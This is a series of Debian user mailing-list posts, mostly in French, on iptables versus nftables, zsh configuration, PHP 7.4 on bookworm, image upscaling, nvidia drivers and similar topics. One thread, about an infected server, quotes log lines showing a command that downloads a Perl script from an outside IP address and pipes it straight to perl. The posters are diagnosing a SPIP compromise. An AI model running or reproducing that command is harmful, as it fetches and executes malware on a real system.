  on cherche dans /boot/config*, on trouve des chaînes CONFIG_NETFILTER* et
CONFIG_NFT.


netfilter c'est le framework de filtrage du kernel, et il est toujours
d'actualité. Il supporte nf_tables et/ou xtables (donc ip_tables). nft
c'est l'outil userspace pour parmétrer nf_tables.


Merci d'avoir clarifié... vu que j'avais compris de travers :-)

Donc oui, je croyais -à tort- que la composante nftables en espace noyau 
était était une évolution de netfilter, s'appuyant dessus mais le 
remplaçant, alors que, non, comme tu le soulignes, nftables c'est 
simplement le remplaçant de xtables.


pour ceux, comme moi, pour qui un petit schéma bien visuel et coloré 
favorise une compréhension autrement un peu faible, il y a ça sur 
Wikipedia ;-)

https://upload.wikimedia.org/wikipedia/commons/d/dd/Netfilter-components.svg




Re: iptables vs iptables-legacy

2023-06-28 Thread Jacques

Bonjour,

Si j'en crois /usr/share/doc/iptables/README.Debian , il convient de ne 
pas mélanger sur un même système iptables-nft et iptables-legacy sous 
peine d'avoir un comportement imprévisible :-(


"man iptables-legacy" et man "iprables-nft" fournissent des informations 
sur les différences entre les 2 outils


Bonne lecture , même si ça ne répond pas directement à la question ;-)

Cordialement

Jacques

Le 27/06/2023 à 18:46, BERTRAND Joël a écrit :

Bonsoir à tous,

J'ai toujours écrit mes firewalls à la main. Aujourd'hui, un script
charge au démarrage le contenu de /var/lib/iptables/active au travers de
iptables (nf_tables).

Or iptables-legacy est toujours disponible.

J'avoue avoir un peu de mal à comprendre le lien entre les deux filtres.

Root rayleigh:[~] > iptables-legacy -L
Chain INPUT (policy ACCEPT)
target prot opt source   destination

Chain FORWARD (policy ACCEPT)
target prot opt source   destination

Chain OUTPUT (policy ACCEPT)
target prot opt source   destination
Root rayleigh:[~] > Root rayleigh:[~] > iptables -L
# Warning: iptables-legacy tables present, use iptables-legacy to see them
Chain INPUT (policy DROP)
target prot opt source   destination
f2b-recidive  tcp  --  anywhere anywhere
ACCEPT all  --  anywhere anywhere
ACCEPT all  --  anywhere anywhere
ACCEPT tcp  --  anywhere anywhere tcp dpt:ssh
ACCEPT tcp  --  anywhere anywhere tcp dpt:smtp
...
Chain f2b-recidive (1 references)
target prot opt source   destination
REJECT all  --  subnet.crackbox.io   anywhere
reject-with icmp-port-unreachable
REJECT all  --  193.56.29.178anywhere
reject-with icmp-port-unreachable
REJECT all  --  147.78.103.120   anywhere
reject-with icmp-port-unreachable
RETURN all  --  anywhere anywhere
Root rayleigh:[~] >

D'après iptables-legacy, tout est ouvert. D'après iptables, tout est
fermé sauf ce qui est explicitement ouvert.

La question est simple. Si je change la règle par défaut
iptables-legacy -DINPUT DROP, plus rien ne fonctionne. Les deux systèmes
sont-ils en série ? Un paquet traverse-t-il d'abord un système de filtre
puis l'autre en séquence ? Je n'ai pas trouvé l'information (je dois
chercher au mauvais endroit)...

Bien cordialement,

JB





Re: Pas d'historique de zsh en root

2023-06-28 Thread Marc Chantreux
salut Daniel,

> Euh, là tu pousses un peu ;-)

je plaide coupable: comme je disais je manque de temps et ça se sent
dans la nuance que je tente d'apporter à mes réponses.

disons que c'est dommage que ohmyzsh coupe tant de gens de
l'opportunité d'apprendre des trucs chouettes sur la manière dont
on peut accorder simplement zsh à son gout, démarche qui permet
au passage d'échanger avec la communauté (et donc de s'enrichir
d'autres idées) et de découvrir des astuces intéressantes.

il y a aussi que je n'avais pas été séduit du tout par la base de code
qui aurait gagné à être plus défensive.

bref: je déconseille vraiment ohmyzsh à toute personne qui souhaite
apprendre zsh.

* pour les personnes débutantes et/ou peu envieuses de passer du
  temps dans le shell, le script qui s'execute lors de ta première
  session te permet de tunner plein de choses
* pour les autres, partir de son besoin et apprendre à faire
  soi-même (en interagissant avec la communauté) est une approche
  bien plus émancipante et riche socialement que d'installer une
  reflexion prete à l'emploi dans son shell, aussi aboutie
  soit-elle. ohmyzsh doit donc rester au mieux une source
  d'inspiration sur les aspects fonctionnels.

evidement c'est une vision personnelle

cordialement,
marc



Re: iptables vs iptables-legacy

2023-06-28 Thread Michel Verdier
Le 28 juin 2023 BERTRAND Joël a écrit :

>   Je suis un peu flemmard sur les bords. Lorsque j'ai un serveur connecté
> à plusieurs réseaux et des VPN avec un firewall de plusieurs centaines
> de lignes qui est éprouvé, je ne m'amuse pas à le changer pour le fun et
> la beauté du geste. Par ailleurs, la syntaxe iptables fonctionne
> toujours pour les nftables (raison pour laquelle on se retrouve avec
> iptables-legacy et iptables). Il n'y a donc aucune raison valable à ce
> que les deux mécanismes cohabitent. À l'extrême limite, ce genre de
> chose est une bidouille interne au noyau et cela devrait être
> transparent du point de vue de l'utilisateur.

Je ne sais pas comment sont gérées les utilisations conjointes de
nf_tables et ip_tables. Mais les 2 sont parcourues, le problème est qu'on
ne sait pas vraiment dans quel ordre. Entre autre je crois qu'il y a des
chaines supplémentaires en nf_tables et les priorités ne doivent sans
doute pas refléter la même chose.

C'est sûr qu'il y a un risque à migrer de iptables à nftables mais c'est
assez rapide à faire : nftables permet de synthétiser pas mal de choses.
Et le gain de nftables en clarté des règles et aussi de rapidité (du
moins en utilisant les nouveautés de nftables) est assez important.



Re: iptables vs iptables-legacy

2023-06-28 Thread Michel Verdier
Le 28 juin 2023 didier gaumet a écrit :

> Le 28/06/2023 à 08:32, Michel Verdier a écrit :
>
>> Plutôt qu'une doc redhat (un comble sur cette liste) il faut utiliser la
>> source :
>> https://wiki.nftables.org/wiki-nftables/index.php/What_is_nftables%3F
>
> La plupart du temps, tu as raison, c'est mieux de directement se renseigner
> sur le site de l'éditeur du logiciel concerné
>
> Ceci dit, sans polémique aucune, parfois les docs ou les wiki d'autres distros
> sont plus détaillées, précises, à jour, etc... que ceux de Debian :-)

Archwiki ou ubuntu je veux bien, mais redhat c'est assez souvent en
décalage par rapport à debian. Là en l'occurence c'est la bible nftables.

>  mais de ce que j'avais cru comprendre, il y a des frontends (tables xtables
> ou tables nft) à des backends (netfilter ou nft).
>  Le backend nft serait une version révisée du backend netfilter, par la même
>  équipe, en s'appuyant sur certaines parties de l'ancien backend netfilter. Si
>  on cherche dans /boot/config*, on trouve des chaînes CONFIG_NETFILTER* et
> CONFIG_NFT.

netfilter c'est le framework de filtrage du kernel, et il est toujours
d'actualité. Il supporte nf_tables et/ou xtables (donc ip_tables). nft
c'est l'outil userspace pour parmétrer nf_tables.



Re: Equivalent Canon logiciel ?

2023-06-28 Thread Basile Starynkevitch



On 6/28/23 13:00, Basile Starynkevitch wrote:


On 6/28/23 12:49, ptilou wrote:

Neural network Upscaling



Je n'y connais rien, mais gimp.org plus d'éventuels greffons à écrire?

https://daviesmediadesign.com/fr/9-best-gimp-plugins-addons-for-2022/

https://docs.gimp.org/2.10/fr/gimp-scripting.html



Et probablement https://gegl.org/

--
Basile Starynkevitch  
(only mine opinions / les opinions sont miennes uniquement)
92340 Bourg-la-Reine, France
web page: starynkevitch.net/Basile/



Re: php 7.4 and bookworm

2023-06-28 Thread Greg Wooledge
On Wed, Jun 28, 2023 at 04:46:24AM -0400, John Covici wrote:
> Hi.  So, I want to upgrade to bookworm, but I have an application
> which needs php 7.4 and I guess they are not yet ready to fix.  So,
> how can I keep that version, even if its just for that app?

In previous releases, whenever I've upgraded a machine that runs PHP,
the upgraded system has automatically continued using the old PHP
version.  Getting it to use the *new* version is what requires actual
steps to be taken.

I can't promise it's the same for bookworm (I haven't done that upgrade
on a PHP system yet), but it has been true in the past.



Re: Equivalent Canon logiciel ?

2023-06-28 Thread Basile Starynkevitch



On 6/28/23 12:49, ptilou wrote:

Neural network Upscaling



Je n'y connais rien, mais gimp.org plus d'éventuels greffons à écrire?

https://daviesmediadesign.com/fr/9-best-gimp-plugins-addons-for-2022/

https://docs.gimp.org/2.10/fr/gimp-scripting.html

--
Basile Starynkevitch  
(only mine opinions / les opinions sont miennes uniquement)
92340 Bourg-la-Reine, France
web page: starynkevitch.net/Basile/



Re: Machine vérolée

2023-06-28 Thread ptilou
Le mardi 27 juin 2023 à 22:30:04 UTC+2, Erwann Le Bras a écrit :
> Je ne l'aurais pas cru...
> Le 27/06/2023 à 16:40, BERTRAND Joël a écrit :
> BERTRAND Joël a écrit :
> OK, je l'ai.
> 
> 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd
> /dev/shm;wget -O - http://68.235.39.225/sepax|perl
> 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd
> /dev/shm;wget -O - http://68.235.39.225/sepax|perl
> 
> J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais
> toujours pas qui le lance, mais on progresse.
> 
>   Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP
> antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se
> font fait percer. Mais pas de la même manière. Le premier avait des
> fichiers .php étranges dans sa racine : spip__.php et des choses comme
> response.php. Le second avait un spip_loader.php qui embarquait un binaire.

Merci peut on faire une ecole du troll libre ?

-- 
Ptilou



Equivalent Canon logiciel ?

2023-06-28 Thread ptilou
Slt,

Canon me propose ca :
Neural network Upscaling Tool 1.0.0

Y a quelque chose de libre en ligne de commande et qui pourrait succeder dans 
un autogamma, autolight, etc ...

Ou personne ne fait d'image ?

Merci
pour Debian 12 sur AMD

-- 
Ptilou



Re: php 7.4 and bookworm

2023-06-28 Thread Andy Smith
Hi,

On Wed, Jun 28, 2023 at 04:46:24AM -0400, John Covici wrote:
> Hi.  So, I want to upgrade to bookworm, but I have an application
> which needs php 7.4 and I guess they are not yet ready to fix.  So,
> how can I keep that version, even if its just for that app?

In <43ff5524-4d41-b570-c592-69af0c339...@list-post.mks-mail.de>
Markus Schönhaber mentioned the various packaged versions of P{HP
maintained by Ondřej Surý at https://sury.org/

https://lists.debian.org/debian-user/2023/06/msg00962.html

I haven't used them myself but they have a good reputation and in
the absence of upstream PHP providing that, are probably the best
you'll get.

Cheers,
Andy

-- 
https://bitfolk.com/ -- No-nonsense VPS hosting



Re: php 7.4 and bookworm

2023-06-28 Thread basti

Hello,

you can hold the packages or you can use https://deb.sury.org/

On 28.06.23 10:46, John Covici wrote:

Hi.  So, I want to upgrade to bookworm, but I have an application
which needs php 7.4 and I guess they are not yet ready to fix.  So,
how can I keep that version, even if its just for that app?

Thanks in advance for any suggestions.





Re: iptables vs iptables-legacy

2023-06-28 Thread didier gaumet

Le 28/06/2023 à 08:32, Michel Verdier a écrit :


Plutôt qu'une doc redhat (un comble sur cette liste) il faut utiliser la
source :
https://wiki.nftables.org/wiki-nftables/index.php/What_is_nftables%3F


La plupart du temps, tu as raison, c'est mieux de directement se 
renseigner sur le site de l'éditeur du logiciel concerné


Ceci dit, sans polémique aucune, parfois les docs ou les wiki d'autres 
distros sont plus détaillées, précises, à jour, etc... que ceux de 
Debian :-)



Donc dans xtables le x c'est pour ip/ip6/... nftables c'est ça qu'il faut
utiliser de nos jours. Et les xtables et nftables ce sont les outils pour
utiliser netfilter. Les paquets ne passent que par netfilter. 

[...]

Je suis une vraie truffe en réseaux et en sécurité (donc, à la croisée 
des chemins, en pare-feux),
 mais de ce que j'avais cru comprendre, il y a des frontends (tables 
xtables ou tables nft) à des backends (netfilter ou nft).
 Le backend nft serait une version révisée du backend netfilter, par la 
même équipe, en s'appuyant sur certaines parties de l'ancien backend 
netfilter. Si on cherche dans /boot/config*, on trouve des chaînes 
CONFIG_NETFILTER* et CONFIG_NFT.
 Et si tout passait par netfilter, il n'y aurait pas de distingo entre 
iptables-legacy et iptables-nft vu que ce serait la même chose (des 
tables iptables attaquant un backend netfilter)


Enfin, j'ai peut-être rien pigé, hein :-)



php 7.4 and bookworm

2023-06-28 Thread John Covici
Hi.  So, I want to upgrade to bookworm, but I have an application
which needs php 7.4 and I guess they are not yet ready to fix.  So,
how can I keep that version, even if its just for that app?

Thanks in advance for any suggestions.

-- 
Your life is like a penny.  You're going to lose it.  The question is:
How do
you spend it?

 John Covici wb2una
 cov...@ccs.covici.com



Re: Nexus 10 Manta Mainline allows me to install Debian on my Nexus 10 ?

2023-06-28 Thread Mario Marietto
-> Great! Continue talking to them.

they don't reply to me.

-> https://www.debian.org/releases/stable/ will give you a guide to
read once you know the architecture.

I found the architecture :

cpu = ARM Cortex-A15
cpu bits = 32
instruction set = ARMv7

source : https://www.devicespecifications.com/en/model/9bef283c

so,it should be armhf,right ?

I see no guide on the link that you gave to me. Can you point me to a more
specific link ? I need a tutorial that teaches me how to use the code
stored on the github of those guys. Thank you very much.


On Wed, Jun 28, 2023 at 2:59 AM Dan Ritter  wrote:

> Mario Marietto wrote:
> > Hello.
> >
> > Please give a look here :
> >
> >
> https://forum.xda-developers.com/t/kernel-mainlining-manta-kernel.4461617/
> >
> > it does not seem that it has been abandoned...it seems that there have
> been
> > good progress.
>
>
> Great! Continue talking to them.
>
> Find out if this is an armel, armhf, or arm64 machine. All three
> are nominally supported by Debian, but booting is going to be
> fun (i.e. hard) in most cases.
>
> https://www.debian.org/releases/stable/ will give you a guide to
> read once you know the architecture.
>
> Once you've got a kernel booting, you can build an installation
> with debootstrap -- you'll want to build it on a different
> machine, then copy the image over to whatever media the hardware
> can use.
>
> If I remember correctly, the Nexus 10 had a bunch of cases of
> bad storage with very limited write lifetime. They are all 11
> years old now, so be prepared for that, too.
>
> -dsr-
>


-- 
Mario.


Re: iptables vs iptables-legacy

2023-06-28 Thread BERTRAND Joël
Michel Verdier a écrit :
> Et d'ailleurs pourquoi mixer les outils ?

Pourquoi ? Mais parce que fail2ban dans sa configuration par défaut
s'est mis à utiliser nftables alors qu'il est tout à fait possible
d'utiliser un firewall iptables (xtables) par ailleurs. J'ai d'ailleurs
modifié ces scripts pour remplacer iptables par iptables-legacy parce
qu'un temps, Debian ne fournissait pas un iptables capable de travailler
sur les nftables.

Je suis un peu flemmard sur les bords. Lorsque j'ai un serveur connecté
à plusieurs réseaux et des VPN avec un firewall de plusieurs centaines
de lignes qui est éprouvé, je ne m'amuse pas à le changer pour le fun et
la beauté du geste. Par ailleurs, la syntaxe iptables fonctionne
toujours pour les nftables (raison pour laquelle on se retrouve avec
iptables-legacy et iptables). Il n'y a donc aucune raison valable à ce
que les deux mécanismes cohabitent. À l'extrême limite, ce genre de
chose est une bidouille interne au noyau et cela devrait être
transparent du point de vue de l'utilisateur.

JB



Re: nvidia ou nouveau sur bookworm ?

2023-06-28 Thread Daniel Caillibaud
Le 27/06/23 à 22:15, Étienne Mollier  a écrit :
> J'allais proposer la troisième option qui consisterait à
> installer le paquet nvidia-open-kernel-dkms, de la section
> contrib…  :)

Merci de signaler l'alternative…
> 
> … mais la GTX 1060 Mobile n'apparait pas dans la liste des
> matériels supportés [1].  :(
> 
> [1] : 
> https://github.com/NVIDIA/open-gpu-kernel-modules/blob/main/README.md#compatible-gpus

…même si ce sera pas pour cette carte.

> Du coup, oui, il vaut mieux installer xserver-xorg-video-nvidia
> et nvidia-kernel-dkms pour remplacer nouveau si on est peu
> regardant sur l'usage de ce pilotes propriétaires, et que le
> pilote nouveau ne permet pas de travailler confortablement.
> Tout du moins, ça vaut le coup d'essayer.

En dehors du côté éthique, 50 paquets et 500Mo, ça fait bcp pour gérer une 
carte vidéo…

Au redémarrage, ça ne change rien…

J'ai débranché l'écran en VGA, idem, les réglages d'anti-aliasing 
(anti-crénelage) semblent
complètement ignorés.

En plus de cinnamont, j'ai testé aussi avec gnome3 (là il ne veut pas mettre 
mon écran en
paysage, en me disant que c'est probablement une limitation matérielle) et 
cinnamon software
rendering, pas mieux…

Il me reste à creuser cette histoire d'anti-aliasing, ça me rappelle vaguement 
qqchose, il me
semble qu'il y a pas mal d'années j'avais dû bricoler un truc dans la conf xorg 
(mais c'était
bien avant wayland et nouveau), je vais creuser, si vous avez des suggestions 
n'hésitez pas.

-- 
Daniel

Partout où l'esprit humain a la moindre possibilité de connaître,
il y a un problème légitime pour la science
Karl Pearson



Creation of Debian packages of Kernel and RTAI(real time application interface)

2023-06-28 Thread Manish Damodare
Hello Debian Community Support Team,
I was already installed and compiled Kernel with rtai patches of
4.9.146-rtai_5.2
Can you suggest me proper steps to follow debian packages load in my kernel
please let me know.

Thank you,
Manish D.
@india


Re: iptables vs iptables-legacy

2023-06-28 Thread Michel Verdier
Le 27 juin 2023 BERTRAND Joël a écrit :

> NoSpam a écrit :
>> Bonsoir
>> 
>> https://developers.redhat.com/blog/2020/08/18/iptables-the-two-variants-and-their-relationship-with-nftables#using_iptables_nft
>
>   Merci.
>
>   Mais ça ne répond pas trop à ma question sauf s'il faut comprendre
> entre les lignes que les paquets passent d'abord par les xtables avant
> de passer par les nftables.

Plutôt qu'une doc redhat (un comble sur cette liste) il faut utiliser la
source :
https://wiki.nftables.org/wiki-nftables/index.php/What_is_nftables%3F

Donc dans xtables le x c'est pour ip/ip6/... nftables c'est ça qu'il faut
utiliser de nos jours. Et les xtables et nftables ce sont les outils pour
utiliser netfilter. Les paquets ne passent que par netfilter. Et il
vaut mieux ne pas mixer les outils :
https://unix.stackexchange.com/questions/687857/what-is-the-relationship-or-difference-among-iptables-xtables-iptables-nft-xt
Et d'ailleurs pourquoi mixer les outils ?